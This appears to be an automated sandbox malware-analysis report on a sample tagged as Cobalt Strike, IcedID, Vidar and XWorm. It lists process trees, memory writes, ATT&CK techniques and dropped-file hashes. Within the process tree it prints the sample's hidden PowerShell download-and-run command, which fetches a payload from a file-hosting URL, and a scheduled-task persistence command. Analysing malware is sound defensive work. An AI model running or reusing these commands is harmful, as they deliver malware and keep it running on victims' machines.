PID 4708 wrote to memory of 1772	4708	kxwc1111.etp.exe	30
PID 4708 wrote to memory of 1916	4708	kxwc1111.etp.exe	31
PID 4708 wrote to memory of 2188	4708	kxwc1111.etp.exe	32
PID 4708 wrote to memory of 2208	4708	kxwc1111.etp.exe	33
PID 4708 wrote to memory of 2288	4708	kxwc1111.etp.exe	34
PID 4708 wrote to memory of 2392	4708	kxwc1111.etp.exe	35
PID 4708 wrote to memory of 2424	4708	kxwc1111.etp.exe	36
PID 4708 wrote to memory of 2568	4708	kxwc1111.etp.exe	37
PID 4708 wrote to memory of 2584	4708	kxwc1111.etp.exe	38
PID 4708 wrote to memory of 2660	4708	kxwc1111.etp.exe	39
PID 4708 wrote to memory of 2760	4708	kxwc1111.etp.exe	40
PID 4708 wrote to memory of 2816	4708	kxwc1111.etp.exe	41
PID 4708 wrote to memory of 2888	4708	kxwc1111.etp.exe	42
PID 4708 wrote to memory of 3016	4708	kxwc1111.etp.exe	43
PID 4708 wrote to memory of 2280	4708	kxwc1111.etp.exe	44
PID 4708 wrote to memory of 3084	4708	kxwc1111.etp.exe	45
PID 4708 wrote to memory of 3148	4708	kxwc1111.etp.exe	46
PID 4708 wrote to memory of 3220	4708	kxwc1111.etp.exe	48
PID 4708 wrote to memory of 3480	4708	kxwc1111.etp.exe	50
PID 4708 wrote to memory of 3632	4708	kxwc1111.etp.exe	51
PID 4708 wrote to memory of 3676	4708	kxwc1111.etp.exe	52
PID 4708 wrote to memory of 3688	4708	kxwc1111.etp.exe	53
PID 4708 wrote to memory of 3704	4708	kxwc1111.etp.exe	54
PID 4708 wrote to memory of 3720	4708	kxwc1111.etp.exe	55
PID 4708 wrote to memory of 3744	4708	kxwc1111.etp.exe	56
PID 4708 wrote to memory of 3360	4708	kxwc1111.etp.exe	57
PID 4708 wrote to memory of 3880	4708	kxwc1111.etp.exe	58
PID 4708 wrote to memory of 4360	4708	kxwc1111.etp.exe	59
PID 4708 wrote to memory of 4432	4708	kxwc1111.etp.exe	60
PID 4708 wrote to memory of 4476	4708	kxwc1111.etp.exe	61
PID 4708 wrote to memory of 4572	4708	kxwc1111.etp.exe	62
PID 4708 wrote to memory of 4840	4708	kxwc1111.etp.exe	63
PID 4708 wrote to memory of 3512	4708	kxwc1111.etp.exe	64
PID 4708 wrote to memory of 1196	4708	kxwc1111.etp.exe	65
PID 4708 wrote to memory of 5168	4708	kxwc1111.etp.exe	66
PID 4708 wrote to memory of 5208	4708	kxwc1111.etp.exe	67
PID 4708 wrote to memory of 5596	4708	kxwc1111.etp.exe	70
PID 4708 wrote to memory of 2724	4708	kxwc1111.etp.exe	72
PID 4708 wrote to memory of 3776	4708	kxwc1111.etp.exe	74
PID 4708 wrote to memory of 5820	4708	kxwc1111.etp.exe	75
PID 4708 wrote to memory of 2484	4708	kxwc1111.etp.exe	78
PID 4708 wrote to memory of 1952	4708	kxwc1111.etp.exe	79
PID 4708 wrote to memory of 4452	4708	kxwc1111.etp.exe	80

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:740
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:964
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1180

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:956

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-bab3ade4-b7a2-428d-9868-ea750fd1ade0 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-397beccc-01d6-4eba-bb3f-5e2189f4345a -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ba312f32-2406-488d-987b-17a66b1ad14c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-5ca70ac5-ef13-4d6e-8ece-42074d936aec -LifetimeId:2a4327e6-6eba-4e10-a2d8-8356b9cd97b6 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1328
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4452
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
  - - C:\Users\Admin\AppData\Local\Temp\2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3532
    - - C:\Users\Admin\AppData\Local\Temp\kxwc1111.etp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\kxwc1111.etp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4708
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "Mason2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe'" /sc onlogon /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4440
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3236
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "Mason2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\2026-08-09_9bafba8bfde3127b67cde15f83047b30_cobalt-strike_elex_glassworm_icedid_vidar_xworm.exe'" /sc onlogon /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5280
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3824
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2832
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:6000
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4424 -s 6620
      4⤵
      PID:4140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2568
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000268;000000000000026C;
  2⤵
  PID:3512
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3512 -s 1848
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1368
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000268;000000000000026C;
  2⤵
  - Checks SCSI registry key(s)
  PID:2100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:3016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2280

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:3084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3220

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:3704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3880

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4360

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4840

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:1196

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:5168

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2484

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
PID:4984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:236
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 516 -p 4424 -ip 4424
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5164
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 576 -p 3512 -ip 3512
  2⤵
  PID:5436

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WER.151b5146-9a89-4ff2-a1fc-c851f252533c.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.151b5146-9a89-4ff2-a1fc-c851f252533c.tmp.txt
Size 13KB
SHA256 32f100dd7dd4eb3ac7312b1505dda6532d6d619d6dcaa0a8fadaf2123ed63664
MD5 2467b5fb239f9b8044fa9f0efd491e3e
SHA1 703b428505943e4d4c9631ac4173dc8004630911
SHA512 d3495618cad307c88e58c195f77c1b26db139ad9ed53312c577d1e59581558e7fc70d65a5d9899dee48fe073dac392d326d5f77d260207f9d403ffb510782ab4
SSDEEP 96:4iefbgNdLszoQqYnYraWuHSYEZghtCiqBFo8UwmLn97aYxgM3GtIr7bI3:NefbgJwb7r97aYxgM3Gyr7bI3
TLSH
T1EF52625616E80359F2F35E88A5F020A59773F872AE39CA4D01DE130E47E3E41D865FAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WER.41d270c3-7a8f-4a64-a032-d0319a61cb17.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.41d270c3-7a8f-4a64-a032-d0319a61cb17.tmp.csv
Size 41KB
SHA256 856e162880fb51e4d949d08ffbc56b8bdb6e59bc3131c45705a0f51cfe75e8c0
MD5 6d78a8c1762bcf6090c1f1a3b1ca7d5d
SHA1 6db5b248ee20ac97feb9b4ed998e6bf9f460a6a9
SHA512 9f86099a4e69f94c55fe28e7857cc40422014a2110ad6b37e0586f7f0f0ada75de898298ff6aa4116a207b42fd1c313ce2a4f6c29344ef48ea6226634f09338f
SSDEEP 768:b13+GWaO+gTpOPnT8AcyF1ND63zt3P0NHji00xY5t5r:b1+a3T8xytW3ZP0FuPxYr
TLSH
T1AF13243ECEED023FD2B6DA18C8E64607F8956493361DED0EA4C3678A4557583BCD122E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WER.5c526a26-4fbd-4fcc-88be-62c6a0dd0fb4.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.5c526a26-4fbd-4fcc-88be-62c6a0dd0fb4.tmp.txt
Size 13KB
SHA256 c5b54e6a2cd0e905567a91535b5163648b43016bb1a2e4a45115e21a657e0890
MD5 8083c0ad3db416fe857c382b89821382
SHA1 f347e2a3e57cd6d8cd365649a97c4801b528702e
SHA512 49fde25804ac4f79beab923ace2415336c06b30423fe0fa09f35b1f7037deb6da893e2fc313fa178909fc162d0265ff4e04718e7713245bdbce37e575b862672
SSDEEP 96:4iefbOujooGANY/YzWVqHFnYEZo1tCi9FF8rwcFmdaKx3qM1GtIr7bI3:NefbB4PResdaKxaM1Gyr7bI3
TLSH
T19752615616E8035AF2F75E88A5F020A59773F872AE39CA4D00DE130E47E3E41D465FAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WER.f4e6630b-891a-4425-b92e-4165a12ac712.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.f4e6630b-891a-4425-b92e-4165a12ac712.tmp.csv
Size 40KB
SHA256 6b43f5425f4934e54b9198afe36d8c9e366fdc494022bc5528df463b5dda5050
MD5 b416a71d366587d05573f1c4568d6cf6
SHA1 c634dd8484ec6aa54b68688bd20834d0776502b5
SHA512 55d8b8663438cf5265be0a48493a3726b511ac48445d2bfac6d82c9bbf3fa79f67688a5d7eb278184255ded41b0ad043729027f40f3937a263a0f1dffc493ae5
SSDEEP 768:dYz+RWjX13b4WuIP7m4OOYIDiOst/Ny4iAk9MiQ:dYrjWmmbaOOkQPr9e
TLSH
T1A113233ECEE9023FC2B6DA1CC8E64607F8556897361EED0DA4C3678A4557583BCD122E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kxwc1111.etp.exe

Path C:\Users\Admin\AppData\Local\Temp\kxwc1111.etp.exe
Size 161KB
SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
MD5 94f1ab3a068f83b32639579ec9c5d025
SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
TLSH
T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 342B
SHA256 89a2b91d9f8442d39bcaa61532506c469035390b6df9f3699ef9bab09000e72b
MD5 bade49ab3b35d50e69b5b1732cbba5e7
SHA1 097a016c8645712fe1add3e9beb30a8e0e7329af
SHA512 903a530fe4665d38213dfa0a85c7878503167e5f58ccfdcb49a01ccf276c2d9f00936836858a397f7d81b83aceca43ed2efbb3bc0c8fb9ec57284fe05bb450da
TLSH
T1BDE012113BA84204E5770A3CA973A5495936772BAE01CADD0775148D1C25F91CD76719
MD5 SHA1 SHA512 TLSH

Submit Download

E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419

Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
Size 412B
SHA256 59a55504ba5d9a5c96d8f9db007474ad94d61391fb650c07752608a5ee68c6d4
MD5 85db63d4173a4319e47fae604cb9e21b
SHA1 daedbac7f3a63fc6898775b26c4a5ed215cac6d3
SHA512 f0f0af868cdbe006256809561deb4d45220b0fd96f1abb13263a52a123ac676e8d647a43df603f33044163f789bbc61692dd4de94f2c1b7ad92843bf6adf173a
TLSH
T163E0C02412FB406DF6E4C03C8BD9667155A9F0A41909B1B91EE067006712900EC01D39
MD5 SHA1 SHA512 TLSH

Submit Download

memory/608-104-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/608-103-0x0000021101A90000-0x0000021101ABB000-memory.dmp

Download

memory/740-16-0x000001D8D3FB0000-0x000001D8D3FD5000-memory.dmp

Download

memory/740-18-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/740-17-0x000001D8D5390000-0x000001D8D53BB000-memory.dmp

Download

memory/740-256-0x000001D8D5390000-0x000001D8D53BB000-memory.dmp

Download

memory/956-257-0x000001E5A26C0000-0x000001E5A26EB000-memory.dmp

Download

memory/956-22-0x000001E5A26C0000-0x000001E5A26EB000-memory.dmp

Download

memory/956-23-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/964-26-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/964-258-0x0000020062B70000-0x0000020062B9B000-memory.dmp

Download

memory/964-25-0x0000020062B70000-0x0000020062B9B000-memory.dmp

Download

memory/1004-100-0x000001C20D8E0000-0x000001C20D90B000-memory.dmp

Download

memory/1004-266-0x000001C20D8E0000-0x000001C20D90B000-memory.dmp

Download

memory/1004-375-0x000001C20D8E0000-0x000001C20D90B000-memory.dmp

Download

memory/1004-101-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1124-107-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1124-106-0x00000276220B0000-0x00000276220DB000-memory.dmp

Download

memory/1180-33-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1180-32-0x000001B66F6C0000-0x000001B66F6EB000-memory.dmp

Download

memory/1180-259-0x000001B66F6C0000-0x000001B66F6EB000-memory.dmp

Download

memory/1248-109-0x0000019B7DF80000-0x0000019B7DFAB000-memory.dmp

Download

memory/1248-110-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1288-112-0x000001DF70FA0000-0x000001DF70FCB000-memory.dmp

Download

memory/1288-113-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1328-140-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1328-139-0x000002C0B7A80000-0x000002C0B7AAB000-memory.dmp

Download

memory/1352-116-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1352-115-0x000002CC45FB0000-0x000002CC45FDB000-memory.dmp

Download

memory/1396-118-0x0000020EF7D60000-0x0000020EF7D8B000-memory.dmp

Download

memory/1396-119-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1568-40-0x0000026632CB0000-0x0000026632CDB000-memory.dmp

Download

memory/1568-41-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1568-260-0x0000026632CB0000-0x0000026632CDB000-memory.dmp

Download

memory/1616-121-0x0000029B09150000-0x0000029B0917B000-memory.dmp

Download

memory/1616-122-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1712-125-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1712-124-0x000001E4CE3A0000-0x000001E4CE3CB000-memory.dmp

Download

memory/1736-128-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1736-127-0x00000218A2F90000-0x00000218A2FBB000-memory.dmp

Download

memory/1760-131-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1760-130-0x00000207D0AE0000-0x00000207D0B0B000-memory.dmp

Download

memory/1772-142-0x0000024C15840000-0x0000024C1586B000-memory.dmp

Download

memory/1772-143-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1824-133-0x000001F749D80000-0x000001F749DAB000-memory.dmp

Download

memory/1824-134-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1916-145-0x000001F7B5910000-0x000001F7B593B000-memory.dmp

Download

memory/1916-146-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/1972-136-0x0000020413A30000-0x0000020413A5B000-memory.dmp

Download

memory/1972-137-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2188-148-0x000002A33E550000-0x000002A33E57B000-memory.dmp

Download

memory/2188-149-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2208-151-0x000002A18CF60000-0x000002A18CF8B000-memory.dmp

Download

memory/2288-152-0x000001182BE30000-0x000001182BE5B000-memory.dmp

Download

memory/2288-153-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2392-155-0x00000263D7B00000-0x00000263D7B2B000-memory.dmp

Download

memory/2392-156-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2424-158-0x000001DBC3FA0000-0x000001DBC3FCB000-memory.dmp

Download

memory/2424-159-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2568-161-0x000001F39AFB0000-0x000001F39AFDB000-memory.dmp

Download

memory/2568-162-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2584-165-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2584-164-0x0000026AEA7E0000-0x0000026AEA80B000-memory.dmp

Download

memory/2660-167-0x0000020F89370000-0x0000020F8939B000-memory.dmp

Download

memory/2660-168-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/2760-170-0x0000023FE3270000-0x0000023FE329B000-memory.dmp

Download

memory/2832-331-0x0000027CF28B0000-0x0000027CF28D2000-memory.dmp

Download

memory/3512-261-0x000001F2F1AB0000-0x000001F2F1ADB000-memory.dmp

Download

memory/3512-83-0x000001F2F1AB0000-0x000001F2F1ADB000-memory.dmp

Download

memory/3532-308-0x000001BDE9650000-0x000001BDE9662000-memory.dmp

Download

memory/3532-2-0x000001BDE8BA0000-0x000001BDE8BCC000-memory.dmp

Download

memory/3532-1-0x00007FFE37EDF000-0x00007FFE37EE0000-memory.dmp

Download

memory/3532-385-0x000001BDE9660000-0x000001BDE9670000-memory.dmp

Download

memory/3532-0-0x000001BDE6F10000-0x000001BDE6F54000-memory.dmp

Download

memory/3532-15-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/3532-13-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/3532-384-0x000001BDE9660000-0x000001BDE9670000-memory.dmp

Download

memory/3532-373-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/3532-4-0x00007FFE37D50000-0x00007FFE386F4000-memory.dmp

Download

memory/4424-95-0x00000000031F0000-0x000000000321B000-memory.dmp

Download

memory/4424-374-0x00000000031F0000-0x000000000321B000-memory.dmp

Download

memory/4424-96-0x00007FFE1B040000-0x00007FFE1B050000-memory.dmp

Download

memory/4424-263-0x00000000031F0000-0x000000000321B000-memory.dmp

Download

memory/4708-14-0x00007FFE59C60000-0x00007FFE59D27000-memory.dmp

Download

memory/4708-12-0x00007FFE5AF00000-0x00007FFE5B163000-memory.dmp

Download